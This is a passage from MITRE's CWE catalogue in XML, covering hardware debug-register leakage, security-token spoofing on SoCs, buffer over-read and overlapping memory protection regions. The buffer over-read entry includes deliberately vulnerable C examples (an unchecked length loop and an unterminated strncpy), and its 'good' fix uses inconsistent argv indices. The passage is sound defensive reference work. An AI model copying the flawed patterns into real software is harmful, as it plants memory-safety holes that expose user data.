						</xhtml:p>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="456"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1258" Name="Exposure of Sensitive System Information Due to Uncleared Debug Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.</Description>
         <Extended_Description>
            <xhtml:p>Security sensitive values, keys, intermediate steps of cryptographic operations, etc. are stored in temporary registers in the hardware. If these values are not cleared when debug mode is entered they may be accessed by a debugger allowing sensitive information to be accessible by untrusted parties.</xhtml:p>
         </Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="212" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000"/>
			</Related_Weaknesses>
         <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
                <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                 <xhtml:p>Whenever debug mode is enabled, all registers containing sensitive assets must be cleared.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A cryptographic core in a System-On-a-Chip (SoC) is used for cryptographic acceleration and implements several cryptographic operations (e.g., computation of AES encryption and decryption, SHA-256, HMAC, etc.). The keys for these operations or the intermediate values are stored in registers internal to the cryptographic core. These internal registers are in the Memory Mapped Input Output (MMIO) space and are blocked from access by software and other untrusted agents on the SoC. These registers are accessible through the debug and test interface.</Intro_Text>

                <Example_Code Nature="Bad" Language="Other">In the above scenario, registers that store keys and intermediate values of cryptographic operations are not cleared when system enters debug mode. An untrusted actor running a debugger may read the contents of these registers and gain access to secret keys and other sensitive cryptographic information.</Example_Code>

                <Example_Code Nature="Good" Language="Other">Whenever the chip enters debug mode, all registers containing security-sensitive data are be cleared rendering them unreadable.</Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="204"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2020-02-12</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Name, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Sensitive Information Uncleared During Hardware Debug Flows</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1259" Name="Improper Restriction of Security Token Assignment" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.</Description>
			<Extended_Description>Systems-On-A-Chip (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify which actions originated from which agent. These actions may be one of the directives: 'read', 'write', 'program', 'reset', 'fetch', 'compute', etc. Security Tokens are assigned to every agent in the System that is capable of generating an action or receiving an action from another agent. Multiple Security Tokens may be assigned to an agent and may be unique based on the agent's trust level or allowed privileges. Since the Security Tokens are integral for the maintenance of security in an SoC, they need to be protected properly. A common weakness afflicting Security Tokens is improperly restricting the assignment to trusted components. Consequently, an improperly protected Security Token may be able to be programmed by a malicious agent (i.e., the Security Token is mutable) to spoof the action as if it originated from a trusted agent.
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="1294" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Files or Directories</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
						<xhtml:ul>
							<xhtml:li>Security Token assignment review checks for design inconsistency and common weaknesses.</xhtml:li>
							<xhtml:li>Security-Token definition and programming flow is tested in both pre-silicon and post-silicon testing.</xhtml:li>
						</xhtml:ul>
					</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>For example, consider a system with a register for storing an AES key for encryption and decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key register assets have an associated control register, AES_KEY_ACCESS_POLICY, which provides the necessary access controls. This access-policy register defines which agents may engage in a transaction, and the type of transaction, with the AES-key registers. Each bit in this 32-bit register defines a security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.</Intro_Text>
					
					
					<Body_Text>Let's assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".
					
					<xhtml:table>
						<xhtml:tr>
							<xhtml:th>Register</xhtml:th>
							<xhtml:th>Description</xhtml:th>
							<xhtml:th>Default</xhtml:th>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
							<xhtml:td>AES key [0:31] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
							<xhtml:td>AES key [32:63] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
							<xhtml:td>AES key [64:95] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_3</xhtml:td>
							<xhtml:td>AES key [96:127] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_KEY_ACCESS_POLICY</xhtml:td>
							<xhtml:td>AES key access register [31:0]</xhtml:td>
							<xhtml:td>0x00000002</xhtml:td>
						</xhtml:tr>
					</xhtml:table>
				</Body_Text>
					
					<Body_Text>An agent with Security Token "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".</Body_Text>
					
					<Example_Code Nature="Bad" Language="Other">The Aux-controller could program its Security Token to "1" from "2".</Example_Code>
					<Body_Text>The SoC does not properly protect the Security Token of the agents, and, hence, the Aux-controller in the above example can spoof the transaction (i.e., send the transaction as if it is coming from the Main-controller to access the AES-Key registers)</Body_Text>
					<Example_Code Nature="Good" Language="Other">The SoC needs to protect the Security Tokens. None of the agents in the SoC should have the ability to change the Security Token.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="681"/>
         </Related_Attack_Patterns>
         <Notes>
        <Note Type="Maintenance">
          This entry is still under development and will continue to see updates and content improvements. Currently it is expressed as a general absence of a protection mechanism as opposed to a specific mistake, and the entry's name and description could be interpreted as applying to software.
        </Note>
      </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-03-06</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>MaineK00n</Contribution_Name>
               <Contribution_Date>2022-10-31</Contribution_Date>
               <Contribution_Comment>corrected a typo in extended description</Contribution_Comment>
            </Contribution>
			<Previous_Entry_Name Date="2020-08-20">Improper Protection of Security Identifiers</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="126" Name="Buffer Over-read" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.</Description>
         <Extended_Description>This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="125" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="788" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
	       <Note>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-91">
               <Intro_Text>In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int processMessageFromSocket(int socket) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>char message[MESSAGE_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// get message from socket and store into buffer</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//Ignoring possibliity that buffer &gt; BUFFER_SIZE</xhtml:i>
                           <xhtml:br/>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// place contents of the buffer into message structure</xhtml:i>
                                 <xhtml:br/>ExMessage *msg = recastBuffer(buffer);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// copy message body into string for processing</xhtml:i>
                                 <xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; msg-&gt;msgLength; index++) {<xhtml:div style="margin-left:1em;">message[index] = msg-&gt;msgBody[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// process message</xhtml:i>
                                 <xhtml:br/>success = processMessage(message);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncopy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main(int argc, char **argv)<xhtml:br/>{<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">char Filename[256];<xhtml:br/>char Pattern[32];<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>/* Validate number of parameters and ensure valid content */</xhtml:i>
                        <xhtml:br/>...<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>/* copy filename parameter to variable, may cause off-by-one overflow */</xhtml:i>
                        <xhtml:br/>strncpy(Filename, argv[1], sizeof(Filename));<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>/* copy pattern parameter to variable, may cause off-by-one overflow */</xhtml:i>
                        <xhtml:br/>strncpy(Pattern, argv[2], sizeof(Pattern));<xhtml:br/>
                        <xhtml:br/>printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);<xhtml:br/>Scan_File(Filename, Pattern);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the code do not take into account that strncpy() will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the printf() read beyond the expected end of the Filename and Pattern buffers.</Body_Text>
               <Body_Text>To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:i>/* copy filename parameter to variable, no off-by-one overflow */</xhtml:i>
                     <xhtml:br/>strncpy(Filename, argv[2], sizeof(Filename)-1);<xhtml:br/>Filename[255]='\0';<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* copy pattern parameter to variable, no off-by-one overflow */</xhtml:i>
                     <xhtml:br/>strncpy(Pattern, argv[3], sizeof(Pattern)-1);</xhtml:div>Pattern[31]='\0';<xhtml:br/>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-0160</Reference>
               <Description>Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-0160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2523</Reference>
               <Description>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2523</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Buffer over-read</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-1034"/>
            <Reference External_Reference_ID="REF-1035"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
         </References>
         <Notes>
            <Note Type="Relationship">These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Common_Consequences, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1260" Name="Improper Handling of Overlap Between Protected Memory Ranges" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product allows address regions to overlap, which can result in the bypassing of intended memory protection.</Description>
         <Extended_Description>
            <xhtml:p>Isolated memory regions and access control (read/write) policies are used by hardware to protect privileged software. Software components are often allowed to change or remap memory region definitions in order to enable flexible and dynamically changeable memory management by system software.</xhtml:p>
            <xhtml:p>If a software component running at lower privilege can program a memory address region to overlap with other memory regions used by software running at higher privilege, privilege escalation may be available to attackers. The memory protection unit (MPU) logic can incorrectly handle such an address overlap and allow the lower-privilege software to read or write into the protected memory region, resulting in privilege escalation attack. An address overlap weakness can also be used to launch a denial of service attack on the higher-privilege software memory regions.</xhtml:p>
         </Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
	    <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Name="Memory Hardware" Prevalence="Undetermined"/>
            <Technology Name="Processor Hardware" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            <Note>Such issues could be introduced during hardware architecture and design or implementation and identified later during the Testing phase.</Note>            
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Impact>DoS: Instability</Impact>
               <Likelihood>High</Likelihood>
            </Consequence>
         </Common_Consequences>
	 <Detection_Methods>
	   <Detection_Method>
	     <Method>Manual Analysis</Method>
	     <Description>Create a high privilege memory block of any arbitrary size. Attempt to create a lower privilege memory block with an overlap of the high privilege memory block. If the creation attempt works, fix the hardware. Repeat the test.</Description>
	     <Effectiveness>High</Effectiveness>
	   </Detection_Method>
	 </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                   <xhtml:p>Ensure that memory regions are isolated as intended and that access control (read/write) policies are used by hardware to protect privileged software.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation> 
               <Phase>Implementation</Phase>
               <Description>
                 <xhtml:p>For all of the programmable memory protection regions, the memory protection unit (MPU) design can define a priority scheme.</xhtml:p>
                 <xhtml:p>For example: if three memory regions can be programmed (Region_0, Region_1, and Region_2), the design can enforce a priority scheme, such that, if a system address is within multiple regions, then the region with the lowest ID takes priority and the access-control policy of that region will be applied.  In some MPU designs, the priority scheme can also be programmed by trusted software.</xhtml:p>
                 <xhtml:p>Hardware logic or trusted firmware can also check for region definitions and block programming of memory regions with overlapping addresses. </xhtml:p>
                 <xhtml:p>The memory-access-control-check filter can also be designed to apply a policy filter to all of the overlapping ranges, i.e., if an address is within Region_0 and Region_1, then access to this address is only granted if both Region_0 and Region_1 policies allow the access.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
	      <Intro_Text>
		<xhtml:p>For example, consider a design with a 16-bit address that has two software privilege levels: Privileged_SW and Non_privileged_SW. To isolate the system memory regions accessible by these two privilege levels, the design supports three memory regions: Region_0, Region_1, and Region_2.</xhtml:p>
		<xhtml:p>Each region is defined by two 32 bit registers: its range and its access policy.</xhtml:p>
		<xhtml:ul>
		  <xhtml:li>Address_range[15:0]: specifies the Base address of the region</xhtml:li>
		  <xhtml:li>Address_range[31:16]: specifies the size of the region</xhtml:li>
		  <xhtml:li>Access_policy[31:0]: specifies what types of software can access a region and which actions are allowed</xhtml:li>
